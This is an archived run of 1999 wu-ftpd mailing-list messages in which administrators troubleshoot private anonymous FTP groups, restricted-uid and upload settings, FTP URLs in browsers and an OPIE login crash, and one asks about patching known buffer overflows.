>> secure_grp_name:encrypted_pw:real_grp_name
>>
>> At this point, I get a little confused. Does the user login anonymously
>> and then enter
>> ftp>SITE secure_grp_name
>> or
>> ftp>SITE GROUP
>> or what??
>>
>> neither of these works. Is there still more I need to set up?
>
> [http://www.dhc.net/~luckin/palindromes.html]

*********************************************************************
Tony Warner [email protected]
General Atomics (619) 455-4285

*********************************************************************

From [email protected] Mon Mar 1 18:29:44 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA15466;
Mon, 1 Mar 1999 18:29:43 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA10285;
Mon, 1 Mar 1999 18:26:22 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA18272
for <[email protected]>; Mon, 1 Mar 1999 18:21:24 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id TAA21015;
Mon, 1 Mar 1999 19:21:11 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 19:21:11 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Terrill Yuhas <[email protected]>
Cc: [email protected]
Subject: Re: FTP through browsers
In-Reply-To: <Pine.SUN.3.96.990301151545.3810B-100000@manduca.neurobio.arizona.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 1 Mar 1999, Terrill Yuhas wrote:

> I have VR14 running fine for the past few weeks but have noticed a
> peculiar behavior. Whenever I ftp from a browser (Netscape 4.5 and IE
> 4.0) using the ftp://user:pass@server format, I don't wind up starting in
> my home directory but rather in the system root. Granted this is the same
> access available from any other client but it's the starting point that is
> giving me grief since I'm setting up a user login for people to be able to
> publish to the web root and all are being initially put in the root.
>
> I couldn't find anything in TFM about this. Is this a behavior I can
> control with wu-ftpd? Using non-browser clients is working as expected.
> This happens on three servers with two different OS' (Linux, SunOS),
> and three different httpd (NCSA, two versions of Apache).
>
> Did I set something up wrong or is this expected?,

The URL is wrong. Of course, since there's no current standard for FTP
URLs, you cannot find it. The only manual (if there even is one) for the
URL would be the docs for the browser. The IETF FTP Extensions Working
Group has a draft which will, when approved, set a standard for URLs.
Under the draft, to start at a user's home, you'll need to say:

ftp://user:[email protected]/~user/

Which, ISTM, will work fine with Navigator right now, but will break with
IE. (Disclaimer: it's been a few months since I've looked at the draft,
so I may have the URL wrong under the current revision.)

The reason for this format has to do with deterministic behavior. The
(implied, in your sample) slash (/) after the domain name means 'starting
from the root'. The tilde (~) in my sample is a Unix-ism which WU-FTPD
supports; its meaning, if supported, is server-defined. This URL format
was chosen on the prinicple of least-breakage for current FTP URLs.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 18:30:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA15503;
Mon, 1 Mar 1999 18:30:29 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA25252;
Mon, 1 Mar 1999 18:27:10 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA18624
for <[email protected]>; Mon, 1 Mar 1999 18:23:39 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id TAA21031;
Mon, 1 Mar 1999 19:23:33 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 19:23:33 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Tony Warner <[email protected]>
Cc: Bob Luckin <[email protected]>, [email protected]
Subject: Re: "private" anonymous ftp
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 1 Mar 1999, Tony Warner wrote:

> Also, is there an easier way of creating/changing the encrypted
> passwords in this ftpgroups file other than cutting and pasting an
> encrypted password out of the /etc/passwd file?

privatepw

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 19:01:48 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA15950;
Mon, 1 Mar 1999 19:01:47 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA00523;
Mon, 1 Mar 1999 18:58:26 -0600 (CST)
Received: from mail1.dh.trw.com (mail1.dh.trw.com [129.193.109.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA06221
for <[email protected]>; Mon, 1 Mar 1999 18:57:23 -0600 (CST)
Received: from trw.com ([129.4.74.179]) by mail1.dh.trw.com
(Netscape Messaging Server 3.5) with ESMTP id AAA505C
for <[email protected]>; Mon, 1 Mar 1999 16:56:52 -0800
Message-Id: <[email protected]>
Date: Mon, 01 Mar 1999 16:56:51 -0800
Reply-To: [email protected]
Sender: [email protected]
From: "Scott Parmenter" <[email protected]>
To: wuftplist <[email protected]>
Subject: VR15: restricted-uid
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.04 [en] (Win95; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

I'm trying out the new restricted-uid clause, but I can't seem to get it
to work. Before I blame the OS (Trusted Solaris) in a kneejerk
reaction, I'd like to make sure I'm using the clause correctly.

In /etc/passwd:
Test1:x:2305:2000::/home/test/Test1:/usr/bin/ftponly

In /etc/ftpaccess:
guest-root /home/test Test1
restricted-uid Test1

Test1 gets chrooted to /home/test, but I'd like to use the
restricted-uid feature to keep him in his home directory. I believe
this setup is basically the same as the manpage example. Am I using
this feature wrong?

Thanks,
Scott

From [email protected] Mon Mar 1 19:14:50 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA17395;
Mon, 1 Mar 1999 19:14:48 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA16822;
Mon, 1 Mar 1999 19:11:28 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA05129
for <[email protected]>; Mon, 1 Mar 1999 19:10:20 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id UAA21420;
Mon, 1 Mar 1999 20:09:41 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 20:09:41 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Scott Parmenter <[email protected]>
Cc: wuftplist <[email protected]>
Subject: Re: VR15: restricted-uid
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 1 Mar 1999, Scott Parmenter wrote:

> I'm trying out the new restricted-uid clause, but I can't seem to get
> it to work. Before I blame the OS (Trusted Solaris) in a kneejerk
> reaction, I'd like to make sure I'm using the clause correctly.

Here's some of my /etc/ftpaccess file. It works here. It's possible the
problem is restricted-uid vs unrestricted-uid. Can you test to see if one
works and the other doesn't; I'm off-site right now and will coderead to
see if there's something wrong tomorrow AM.

deny-uid %-99 vrnet
deny-gid %-99 vrnet
allow-uid ftp
allow-gid ftp

guestuser *
realuser ftp

restricted-uid *
unrestricted-uid lundberg

anonymous-root /home/ftp

guest-root /home/users

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 19:33:59 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA19750;
Mon, 1 Mar 1999 19:33:58 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA17527;
Mon, 1 Mar 1999 19:30:38 -0600 (CST)
Received: from apollo.gat.com (apollo.gat.com [192.5.166.20])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA02201
for <[email protected]>; Mon, 1 Mar 1999 19:28:12 -0600 (CST)
Received: from nt-usc (NT-USC.GAT.COM [192.5.166.179])
by apollo.gat.com (8.9.1/8.9.0) with SMTP id RAA01802
for <[email protected]>; Mon, 1 Mar 1999 17:28:09 -0800 (PST)
Message-Id: <[email protected]>
Date: Mon, 01 Mar 1999 17:28:08 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Tony Warner <[email protected]>
To: [email protected]
Subject: SUMMARY: "private" anonymous ftp
In-Reply-To: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Thanks for the quick responses from Bob Luckin and
(of course,) Greg Lundberg.

Got this one working...

It turns out I had "almost" everything right.

To set up a "private" area for anonymous users:

-add "private yes" to your ftpaccess file.
-get the privatepw command (which I couldn't find
in the wuftp package, so I got it from
ftp://www.landfield.com/wu-ftpd/privatepw/)
-use privatepw to create a new private group in your
ftpgroups file with the format:
ftp_grp_name:encrypted_pw:real_grp_name
the "real_grp_name" must actually exist in your
/etc/group file.
-create a directory in your anonymous ftp area
that is owned by the group <real_grp_name>
obviously, to make this private, change the permissions
to allow only reading or writing by the group (depending
on your needs)
-login anonymously , then issue the following commands:
ftp>site group <ftp_grp_name>
ftp>site gpass <un-encrypted_pw>

That's all there is to it. Thanks for all the help.

Tony Warner

At 02:54 PM 3/1/99 -0800, Tony Warner wrote:
>
>I'm running wuftp 2.4.2[beta 18]VR13 on Digital Unix 4.0D.
>
>I want to set up my anonymous ftp server in such a way that
>an anonymous user can gain access to a restricted directory
>by entering an "extra" password.
>It looks as though I can do this with the "private" command in
>the ftpaccess file.
>Unfortunately, I don't think I've set it up correctly, or I don't know how
>to use it.
>
>If I read the man page correctly:
>I add "private yes" to the ftpaccess file.
>I create a /etc/ftpgroups file with an entry that looks something like:
>
>secure_grp_name:encrypted_pw:real_grp_name
>
>At this point, I get a little confused. Does the user login anonymously
>and then enter
>ftp>SITE secure_grp_name
>or
>ftp>SITE GROUP
>or what??
>
>neither of these works. Is there still more I need to set up?
>
>Thanks,
>Tony Warner
>
>*********************************************************************
>Tony Warner [email protected]
>General Atomics (619) 455-4285
>
>*********************************************************************

*********************************************************************
Tony Warner [email protected]
General Atomics (619) 455-4285

*********************************************************************

From [email protected] Mon Mar 1 22:00:19 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA29707;
Mon, 1 Mar 1999 22:00:18 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id VAA00081;
Mon, 1 Mar 1999 21:55:00 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id VAA23958
for <[email protected]>; Mon, 1 Mar 1999 21:50:25 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id WAA22683;
Mon, 1 Mar 1999 22:50:09 -0500
Message-Id: <[email protected]>
Date: Mon, 1 Mar 1999 22:50:09 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Scott Parmenter <[email protected]>
Cc: WU-FTPD Discussion List <[email protected]>
Subject: Re: VR15: restricted-uid
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

got back with some time to spare tonight. coderead .. every looked fine.
I removed all restricted-uid options from my ftpaccess and re-tested. All
my tests were with cwd / pwd using both real and guest users ...

<none>
worked fine. Users could cd willy-nilly to each others areas as far as
Unix permissions would allow.

restricted-uid lundberg
worked fine. Could not cd ~<non-lundberg>, /etc or other non-home dirs
non-lundberg user could cd as desired
fooled myself for a sec since cd / is quietly remapped to cd ~ dunno why
but it was in the original patch and makes some sense for URL mapping
(cf earlier talk about that on another thread) so I left it in

restricted-uid *
unrestricted-uid lundberg
worked fine. Could cd ~<non-lundberg>, /etc or elsewhere
checked as non-lundberg user and could not move about outside home

I don't see how TSOL can have an effect, but who knows.
I'm thinking it's more obvious and therefore harder to see. :)

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 1 22:22:06 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id WAA01438;
Mon, 1 Mar 1999 22:22:05 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id WAA27808;
Mon, 1 Mar 1999 22:18:45 -0600 (CST)
Received: from jester.ti.com (jester.ti.com [192.94.94.1])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id WAA24830
for <[email protected]>; Mon, 1 Mar 1999 22:14:24 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by jester.ti.com (8.8.8) with ESMTP id WAA17242; Mon, 1 Mar 1999 22:11:39 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id WAA09758;
Mon, 1 Mar 1999 22:13:51 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Mon, 1 Mar 99 22:13:51 -0600
Message-Id: <[email protected]>
Date: Mon, 1 Mar 99 22:13:50 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: SUMMARY: "private" anonymous ftp
In-Reply-To: <[email protected]>; from "Tony Warner" at Mar 01, 99 5:28 pm
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Tony,

I was just about to reply to your last set of questions (sorry for the delay,
but I was too busy to check the email for a while there), and I saw your
summary email come in.

> Thanks for the quick responses from Bob Luckin and
> (of course,) Greg Lundberg.

You're welcome.

> Got this one working...
>
> It turns out I had "almost" everything right.
>
> To set up a "private" area for anonymous users:
>
> -add "private yes" to your ftpaccess file.

Right

> -get the privatepw command (which I couldn't find
> in the wuftp package, so I got it from
> ftp://www.landfield.com/wu-ftpd/privatepw/)
> -use privatepw to create a new private group in your
> ftpgroups file with the format:
> ftp_grp_name:encrypted_pw:real_grp_name
> the "real_grp_name" must actually exist in your
> /etc/group file.

I wrote my own small C program to take a string and two letter salt, and
return the encypted version of the string. I presume from the name that
privatepw does something similar - maybe inserts the entry into the
ftpgroups file as well ? (I just made the relevant entry using vi, and
pasting the output from my program in the appropriate place.)

You're correct in that you need an entry in the real /etc/group file (or
YP/NIS/NIS+ equivalent) which corresponds to the real_group_name. I forgot
to mention this in my earlier reply - sorry !

> -create a directory in your anonymous ftp area
> that is owned by the group <real_grp_name>
> obviously, to make this private, change the permissions
> to allow only reading or writing by the group (depending
> on your needs)

Right

> -login anonymously , then issue the following commands:
> ftp>site group <ftp_grp_name>
> ftp>site gpass <un-encrypted_pw>
>
> That's all there is to it. Thanks for all the help.

One more thing !

You might want to add an entry for the ftp_grp_name to ~ftp/etc/group,
similar to the one in /etc/group (put a * in the password field for security),
but with ftp_grp_name instead of real_grp_name. But put a * in the password
field for security). I guess you could put real_grp_name instead of
ftp_grp_name here if you think your users will find it less confusing.
(On my server I use the same name for for both ftp_grp_name and real_grp_name,
so it makes no difference...)

Anyway, the point is to have a suitable entry in the chrooted ~ftp/etc/group.
If you don't do this, then the "ls -l" / "dir" command will not be able to
map the groupid to ftp_grp_name when run by anonymous users. They'll get the
groupid number in the listing instead.

This won't prevent anything from working, so it isn't essential, but it
looks nicer...

Glad you got it sorted out !

Cheers, Bob
--
Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
[http://www.dhc.net/~luckin/palindromes.html]

From [email protected] Tue Mar 2 03:09:24 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id DAA10084;
Tue, 2 Mar 1999 03:09:24 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA06845;
Tue, 2 Mar 1999 03:04:23 -0600 (CST)
Received: from noya.bupt.edu.cn (noya.bupt.edu.cn [202.112.96.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id CAA32298
for <[email protected]>; Tue, 2 Mar 1999 02:58:03 -0600 (CST)
Received: from SWALLOW ([202.112.10.152])
by noya.bupt.edu.cn (8.9.3/8.9.1) with SMTP id QAA29850
for <[email protected]>; Tue, 2 Mar 1999 16:52:50 +0800 (CST)
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 16:57:28 +0800
Reply-To: [email protected]
Sender: [email protected]
From: "Zhang Yan" <[email protected]>
To: <[email protected]>
Subject: unsubscribe
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="----=_NextPart_000_007E_01BE64CD.C0F668C0"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is a multi-part message in MIME format.

------=_NextPart_000_007E_01BE64CD.C0F668C0
Content-Type: text/plain;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable

unsubscribe

------=_NextPart_000_007E_01BE64CD.C0F668C0
Content-Type: text/html;
charset="gb2312"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Dgb2312 http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>unsubscribe</DIV></BODY></HTML>

------=_NextPart_000_007E_01BE64CD.C0F668C0--

From [email protected] Tue Mar 2 03:45:07 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id DAA10381;
Tue, 2 Mar 1999 03:45:07 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id DAA24758;
Tue, 2 Mar 1999 03:41:53 -0600 (CST)
Received: from mailhub.fokus.gmd.de (mailhub.fokus.gmd.de [193.174.154.14])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id DAA15525
for <[email protected]>; Tue, 2 Mar 1999 03:39:34 -0600 (CST)
Received: from fokus.gmd.de (bonnie [193.175.133.192])
by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id KAA07923;
Tue, 2 Mar 1999 10:38:26 +0100 (MET)
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 10:38:24 +0100
Reply-To: [email protected]
Sender: [email protected]
From: Lutz Henckel <[email protected]>
To: Gregory A Lundberg <[email protected]>
Cc: [email protected]
Subject: Re: Upload with guestgroup
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Sender: [email protected]
X-Mailer: Mozilla 4.5 [en] (X11; U; SunOS 5.6 sun4m)
X-Accept-Language: en
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Gregory A Lundberg wrote:
>
> On Fri, 26 Feb 1999, Lutz Henckel wrote:
>
> > /etc/passwd contains:
> > guest:x:5000:5001:FTP Guest:/usr/ftp/./pub/guest:/bin/sync
> >
> > /etc/group
> > group::5001:
>
> Add guest to group in /etc/group:
> group::5001:guest
>

Thanks, you are right but this does not solve the problem.
The guest user will be chroot'd to /usr/ftp but the upload restrictions
does not have any effect. Furthermore it is possible to create
directories
and the uploaded files get the permissions and ownership as
guest would be a real user.

I have tested the older VR versions with the identical configuration
file (ftpaccess) under Linux and it works until VR5. The newer versions
does not work as it is expected.

--
Lutz Henckel Phone : ++49 / (0)30 / 3463 - 7237
GMD FOKUS Fax : ++49 / (0)30 / 3463 - 8237
Kaiserin-Augusta-Allee 31 E-Mail : [email protected]
D-10589 Berlin, Germany WWW :
http://www.fokus.gmd.de/usr/lutz.henckel

From [email protected] Tue Mar 2 06:47:54 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id GAA12145;
Tue, 2 Mar 1999 06:47:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id GAA22267;
Tue, 2 Mar 1999 06:43:21 -0600 (CST)
Received: from tyrex.indenial.com ([206.166.129.65])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id GAA24946
for <[email protected]>; Tue, 2 Mar 1999 06:41:58 -0600 (CST)
Received: from localhost (wuftpd@localhost)
by tyrex.indenial.com (8.9.3/8.9.3) with ESMTP id GAA23675;
Tue, 2 Mar 1999 06:55:29 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 06:55:29 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: wuftpd <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Opie Looks Broken in VR15
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi there...

Anyone using OPIE on VR15?

I up to the point where I enter the response and then I get
bumped out. Anonymous works fine but any user using OPIE doesn't.
It does seem to be getting past the OPIE tho , because the
next time the seed is one less which one would expect
on a successful login.

Error messages spit out like lost connection, and I get

Mar 1 22:47:06 tyrex ftpd[32723]: exiting on signal 11
Mar 1 22:48:02 tyrex ftpd[32762]: exiting on signal 11
Mar 1 22:49:20 tyrex ftpd[40]: exiting on signal 11
Mar 1 22:51:20 tyrex ftpd[116]: exiting on signal 11
Mar 1 23:11:13 tyrex ftpd[1515]: exiting on signal 11
Mar 1 23:20:12 tyrex ftpd[2023]: exiting on signal 11
Mar 1 23:26:07 tyrex ftpd[2217]: exiting on signal 11
Mar 1 23:27:23 tyrex ftpd[2463]: exiting on signal 11

in the messages...(I gave up...Even tried it in daemon mode...Same
result.!)

I undefined OPIE in the config.h and rebuilt and it works like a champ.
I can login in just fine but I have to use the normal password and
not use OPIE...

I went back to a working copy of VR13 that does work with OPIE.

Any thoughts???

SystemInfo:
RedHat 5.2
Linux 2.0.36
Opie 2.32

Later
David

From [email protected] Tue Mar 2 07:12:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA12381;
Tue, 2 Mar 1999 07:12:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA25970;
Tue, 2 Mar 1999 07:09:09 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA30141
for <[email protected]>; Tue, 2 Mar 1999 07:05:10 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id IAA26445;
Tue, 2 Mar 1999 08:04:35 -0500
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 08:04:35 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Lutz Henckel <[email protected]>
Cc: [email protected]
Subject: Re: Upload with guestgroup
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Tue, 2 Mar 1999, Lutz Henckel wrote:

> I have tested the older VR versions with the identical configuration
> file (ftpaccess) under Linux and it works until VR5. The newer
> versions does not work as it is expected.

VR5 is when the fixes for the upload clause went in. Earlier versions of
the daemon, as it moved from 2.3 (I don't have anything earlier to look
at) to beta-18, went through different bugs in how upload worked.

Before there was 'guestgroup' the <root> parameter meant the chroot point.
That was either '/' or the ftp user's home. Seemed clear enough.

When guests came along, it stayed documented as the 'root' but it was
really the home directory. This caused confusion when the '/./' hack was
added. First off, it used a strcmp against the passwd file, so you had to
put the /./ on the upload clause. Second, if you read the docs, you only
put in the root (chroot point) and got angry if you noticed it wasn't
working.

Then came the ALTERNATE_CD patch (somehere like beta-17) which rewrote the
pw->pw_dir entry with the relative home after chroot. That broke the
comparison completely. Now you had to put in the home relative to the
chroot. That lead to ambiguous rules.

Confusion reigned until VR5 when I'd had enough. My first attempt was to
believe the docs; only use the root, the chroot. Sure it behaved like
very old versions, but didn't handle by-user rules. OK, then try the
relative path. That made for ambiguous rules since two users could easily
appear the same now (/home/users/jim and /home/staff/jim, different jim
but user jim's rules applied to staff jim). This was like later beta
versions and unacceptable. Finally I realized that the problem was
twofold, the '/./' and the chroot. To convert the names to something
comparable, I ran everything through realpath(). To handle chroot, I
prepended the chroot point to the cwd, pw->pw_dir and the parameters given
via ftp commands. Worked great.

Problem is, depending on the version you're upgrading from and what upload
clauses you had .. and whether they ever worked at all (you'd be amazed
how many didn't but the Unix permissions did so nobody noticed) .. the new
method could break things. I thought long and hard and decided it was
better to break a few working sites than to let the confusion reign.

One of the things it broke, big time, was anyone using Ketn's NEWVIRT.
That meant BeroFTPD. After a lot of discussion with Bernard about how
NEWVIRT handled the problem, I added an optional first parameter to
upload. With it, the <root> parameter could be declared 'relative' to the
current chroot. Since then I've added a few other things to the optional
first position, like class-only selection. If other things come along
which make sense for upload, I'll be adding them into that optional first
(series of) parameter(s).

I've written ftp://ftp.vr.net/pub/wu-ftpd/upload.configuration.HOWTO which
shows how to set up the upload clause. Most likely you just need to
change the <root> parameter to use the full realpath from the system root.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Tue Mar 2 07:58:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id HAA12909;
Tue, 2 Mar 1999 07:58:09 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id HAA20174;
Tue, 2 Mar 1999 07:54:42 -0600 (CST)
Received: from apollo.fedworld.gov (apollo.fedworld.gov [192.239.92.203])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id HAA20122
for <[email protected]>; Tue, 2 Mar 1999 07:53:25 -0600 (CST)
Received: from mnguyen ([208.232.200.44] (may be forged))
by apollo.fedworld.gov (8.8.6 (PHNE_14041)/8.8.6) with SMTP id IAA14796;
Tue, 2 Mar 1999 08:52:20 -0500 (EST)
Message-Id: <[email protected]>
Date: Tue, 02 Mar 1999 08:54:52 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Man Nguyen <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Buffer overflows in Wu-ftpd
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Is there a patch to fix the buffer overflows problems on Wu-ftpd according
to CIAC bulletin date Feb-16-1999 ? .
I'm currently using Wu-ftpd version 2.4.2(beta 18) on Hpux 10.20

Thanks
Man Nguyen

NTIS /Fedworld
703-605-6724
http://www.fedworld.gov

From [email protected] Tue Mar 2 08:50:28 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id IAA13617;
Tue, 2 Mar 1999 08:50:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id IAA22803;
Tue, 2 Mar 1999 08:47:01 -0600 (CST)
Received: from suan.sk.ac.th ([email protected] [203.151.240.4])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id IAA18195
for <[email protected]>; Tue, 2 Mar 1999 08:44:53 -0600 (CST)
Received: from localhost (11738266@localhost)
by suan.sk.ac.th (8.8.8/8.8.8) with ESMTP id VAA28249
for <[email protected]>; Tue, 2 Mar 1999 21:48:43 +0700
Message-Id: <[email protected]>
Date: Tue, 2 Mar 1999 21:48:43 +0700 (ICT)
Reply-To: [email protected]
